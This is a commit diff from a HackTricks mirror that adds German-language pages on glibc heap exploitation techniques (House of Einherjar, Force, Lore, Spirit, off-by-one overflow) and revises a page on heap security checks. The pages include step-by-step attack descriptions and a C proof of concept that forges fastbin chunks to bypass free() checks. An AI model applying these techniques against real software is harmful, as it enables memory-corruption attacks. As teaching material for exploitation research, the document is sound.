mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 17:07:34 +00:00
Translated ['binary-exploitation/heap/heap-functions-security-checks.md'
This commit is contained in:
parent
92164d8ee1
commit
baf9b543e3
12 changed files with 503 additions and 172 deletions
BIN
.gitbook/assets/image (1245).png
Normal file
BIN
.gitbook/assets/image (1245).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1246).png
Normal file
BIN
.gitbook/assets/image (1246).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
BIN
.gitbook/assets/image (1247).png
Normal file
BIN
.gitbook/assets/image (1247).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 80 KiB |
|
@ -726,6 +726,12 @@
|
|||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
# Überprüfungen der Heap-Funktionen-Sicherheit
|
||||
# Sicherheitsüberprüfungen der Heap-Funktionen
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
|
||||
|
@ -34,7 +34,7 @@ Diese Funktion ist für die Zuweisung von Speicher aus dem Heap verantwortlich.
|
|||
* Fehlermeldung: `malloc(): smallbin double linked list corrupted`
|
||||
* **Überprüfung des Speicherbereichs des unsortierten Bins**:
|
||||
* Stellen Sie sicher, dass die Größe der Chunks im unsortierten Bin innerhalb der minimalen und maximalen Grenzen liegt.
|
||||
* Fehlermeldung: `malloc(): memory corruption`
|
||||
* Fehlermeldung: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
|
||||
* **Konsistenzüberprüfung des unsortierten Bins (erstes Szenario)**:
|
||||
* Beim Einfügen eines Restchunks in den unsortierten Bin überprüfen, ob `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
* Fehlermeldung: `malloc(): corrupted unsorted chunks`
|
||||
|
@ -46,11 +46,11 @@ Diese Funktion ist für die Zuweisung von Speicher aus dem Heap verantwortlich.
|
|||
|
||||
Diese Funktion gibt zuvor zugewiesenen Speicher frei. Die Überprüfungen hier helfen, eine ordnungsgemäße Speicherfreigabe sicherzustellen und Speicherbeschädigungen zu verhindern.
|
||||
|
||||
* **Überprüfung der Zeigergrenze**:
|
||||
* **Überprüfung der Zeigergrenzen**:
|
||||
* Stellen Sie sicher, dass der freigegebene Zeiger nicht um den Speicher herum verläuft.
|
||||
* Fehlermeldung: `free(): invalid pointer`
|
||||
* **Größenüberprüfung**:
|
||||
* Stellen Sie sicher, dass die Größe des freigegebenen Chunks mindestens `MINSIZE` oder ein Vielfaches von `MALLOC_ALIGNMENT` ist.
|
||||
* Stellen Sie sicher, dass die Größe des freigegebenen Chunks mindestens `MINSIZE` oder ein Vielfaches von `MALLOC_ALIGNMENT` beträgt.
|
||||
* Fehlermeldung: `free(): invalid size`
|
||||
* **Fastbin-Größenüberprüfung**:
|
||||
* Für Fastbin-Chunks sicherstellen, dass die Größe des nächsten Chunks innerhalb der minimalen und maximalen Grenzen liegt.
|
||||
|
@ -61,8 +61,8 @@ Diese Funktion gibt zuvor zugewiesenen Speicher frei. Die Überprüfungen hier h
|
|||
* **Konsistenzüberprüfung des Fastbins**:
|
||||
* Beim Einfügen in einen Fastbin sicherstellen, dass die Größen des Kopfchunks und des einzufügenden Chunks gleich sind.
|
||||
* Fehlermeldung: `invalid fastbin entry (free)`
|
||||
* **Konsistenzüberprüfung des Top-Chunks**:
|
||||
* Für Nicht-Fastbin-Chunks sicherstellen, dass der Chunk nicht derselbe ist wie der Top-Chunk.
|
||||
* **Konsistenzüberprüfung des Top Chunks**:
|
||||
* Für Nicht-Fastbin-Chunks sicherstellen, dass der Chunk nicht derselbe ist wie der Top Chunk.
|
||||
* Fehlermeldung: `double free or corruption (top)`
|
||||
* **Überprüfung der Speichergrenzen**:
|
||||
* Stellen Sie sicher, dass der nächste Chunk im Speicher innerhalb der Grenzen der Arena liegt.
|
||||
|
@ -79,12 +79,12 @@ Diese Funktion gibt zuvor zugewiesenen Speicher frei. Die Überprüfungen hier h
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
|
||||
|
|
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Haus von Einherjar
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
### Code
|
||||
|
||||
* Überprüfen Sie das Beispiel unter [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
### Ziel
|
||||
|
||||
* Das Ziel ist es, Speicher fast an einer bestimmten Adresse zuzuweisen.
|
||||
|
||||
### Anforderungen
|
||||
|
||||
* Off um eins über dem Header des nächsten Chunks, um das prev in use zu ändern
|
||||
* In der Lage sein, die Daten `prev_size` zu ändern, die Teil des aktuellen Chunks sind (am Ende)
|
||||
* Heap-Leak
|
||||
|
||||
### Angriff
|
||||
|
||||
* Es wird ein gefälschter Chunk innerhalb eines vom Angreifer kontrollierten Chunks erstellt, der mit `fd` und `bk` auf den ursprünglichen Chunk zeigt, um Schutzmechanismen zu umgehen
|
||||
* 2 weitere Chunks (`B` und `C`) werden erstellt.
|
||||
* Durch Ausnutzen des Off-by-One im `B` wird das `prev in use`-Bit gelöscht und die `prev_size`-Daten mit dem Unterschied zwischen dem Ort, an dem der `C`-Chunk allokiert ist, und dem zuvor generierten gefälschten `A`-Chunk überschrieben.
|
||||
* Diese `prev_size` und die Größe des gefälschten Chunks `A` müssen gleich sein, um Überprüfungen zu umgehen.
|
||||
* Dann wird der Tcache gefüllt
|
||||
* Dann wird `C` freigegeben, damit es sich mit dem gefälschten Chunk `A` konsolidiert
|
||||
* Dann wird ein neuer Chunk `D` erstellt, der im gefälschten `A`-Chunk beginnt und den `B`-Chunk abdeckt
|
||||
* Dann wird `B` freigegeben und sein `fd` wird auf die Zieladresse überschrieben, sodass es auf die Zieladresse zeigt und den `D`-Chunk missbraucht, der ihn enthält.
|
||||
* Dann werden 2 mallocs durchgeführt, da der zweite die Zieladresse enthalten wird
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
40
binary-exploitation/heap/house-of-force.md
Normal file
40
binary-exploitation/heap/house-of-force.md
Normal file
|
@ -0,0 +1,40 @@
|
|||
# House of Force
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erfahren Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
### Code
|
||||
|
||||
* Diese Technik wurde gepatcht ([**hier**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) und führt zu diesem Fehler: `malloc(): corrupted top size`
|
||||
|
||||
### Ziel
|
||||
|
||||
* Das Ziel dieses Angriffs ist es, einen Chunk an einer bestimmten Adresse zu allozieren.
|
||||
|
||||
### Anforderungen
|
||||
|
||||
* Ein Überlauf, der es ermöglicht, die Größe des Top-Chunk-Headers zu überschreiben (z. B. -1).
|
||||
* Die Möglichkeit, die Größe der Heap-Allokation zu kontrollieren
|
||||
|
||||
### Angriff
|
||||
|
||||
Wenn ein Angreifer einen Chunk an der Adresse P haben möchte, nachdem die Größe des Top-Chunks mit -1 überschrieben wurde, ist zunächst ein malloc von (\&top\_chunk - P) erforderlich. Beachten Sie, dass dieser Zeiger vor oder nach dem Top-Chunk sein kann, da jede Größe kleiner als -1 (0xFFFFFFFFFFFFFFFF) ist. Nachdem dieser anfängliche Chunk allokiert wurde, wird der Top-Chunk an die gewünschte P-Adresse verschoben und der nächste Chunk wird von dieser Adresse aus sein.
|
||||
|
||||
### Referenzen
|
||||
|
||||
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
61
binary-exploitation/heap/house-of-lore.md
Normal file
61
binary-exploitation/heap/house-of-lore.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# House of Lore
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
### Code
|
||||
|
||||
* Dies funktioniert nicht
|
||||
* Überprüfen Sie den von [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) bereitgestellten Code
|
||||
* Oder: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
|
||||
### Ziel
|
||||
|
||||
* Fügen Sie gefälschte kleine Chunks in den Small Bin ein, damit sie allokiert werden können.
|
||||
|
||||
### Anforderungen
|
||||
|
||||
* Erstellen von gefälschten Chunks
|
||||
* Kenntnis der Adresse des Opferchunks und der gefälschten Chunks
|
||||
* In der Lage sein, die `bk`- und `fd`-Zeiger zu modifizieren
|
||||
|
||||
### Angriff
|
||||
|
||||
* Ein Opfer-Small-Chunk wird allokiert
|
||||
* Ein Angreifer generiert ein paar gefälschte Small Chunks und lässt den ersten gefälschten Chunk auf einen echten Chunk zeigen und den `bk` auf den zweiten gefälschten Chunk zeigen. Der zweite gefälschte Chunk zeigt wiederum auf den ersten.
|
||||
* Dann wird ein neuer großer Chunk allokiert, um zu verhindern, dass der erste in den Top Chunk fusioniert wird, wenn er freigegeben wird.
|
||||
* Dann wird der anfängliche Zeiger freigegeben und ein zweiter Zeiger einer größeren Größe allokiert, damit der freigegebene anfängliche Small Chunk im Small Bin platziert wird.
|
||||
* Der echte Small Chunk wird so modifiziert, dass sein `bk`-Zeiger auf den gefälschten zeigt.
|
||||
* Dann, wenn 2 Chunks dieser Größe allokiert werden, erhält der erste gültige Chunk und dann der ungültige Chunk, der irgendwie vom Angreifer kontrolliert wird.
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
99
binary-exploitation/heap/house-of-spirit.md
Normal file
99
binary-exploitation/heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,99 @@
|
|||
# Haus des Geistes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
### Code
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Haus des Geistes</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Ziel
|
||||
|
||||
* In der Lage sein, eine beliebige Adresse in den tcache / fast bin hinzuzufügen, damit sie beim Aufruf von malloc in einem Chunk verwendet wird
|
||||
|
||||
### Anforderungen
|
||||
|
||||
* Dieser Angriff erfordert, dass ein Angreifer in der Lage ist, ein paar gefälschte schnelle Chunks zu erstellen, die den Größenwert korrekt angeben, und einen schnellen Chunk dieser Größe zu überschreiben, der freigegeben wird, sodass der Chunk des Angreifers tatsächlich derjenige ist, der in den schnellen Bin gelangt.
|
||||
|
||||
### Angriff
|
||||
|
||||
* Erstellen Sie einen gefälschten Chunk, der Sicherheitsüberprüfungen umgeht (Sie benötigen 2 gefälschte Chunks)
|
||||
* Bevor ein Zeiger freigegeben wird, überschreiben Sie ihn mit dem gefälschten Chunk, damit dieser in den Bin gelangt
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
|
||||
|
||||
</details>
|
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,62 @@
|
|||
# Off-by-One-Überlauf
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Wenn ein Angreifer nur auf einen 1B-Überlauf zugreifen kann, kann er die vorherigen Größenmetadateninformationen ändern, was es ermöglicht, zu manipulieren, welche Chunks tatsächlich freigegeben werden, und schließlich einen Chunk zu erzeugen, der einen anderen legitimen Chunk enthält.
|
||||
|
||||
### Codebeispiel:
|
||||
|
||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||
* Dieser Angriff funktioniert nicht mehr aufgrund der Verwendung von Tcaches.
|
||||
* Darüber hinaus erhalten Sie einen Fehler, wenn Sie versuchen, ihn mit größeren Chunks zu missbrauchen (damit Tcaches nicht involviert sind): `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Ziel
|
||||
|
||||
* Einen Chunk in einem anderen Chunk enthalten, sodass Schreibzugriff auf diesen zweiten Chunk es ermöglicht, den enthaltenen zu überschreiben
|
||||
|
||||
### Anforderungen
|
||||
|
||||
* Off-by-One-Überlauf zur Änderung der vorherigen Größenmetadateninformationen
|
||||
|
||||
### Angriff
|
||||
|
||||
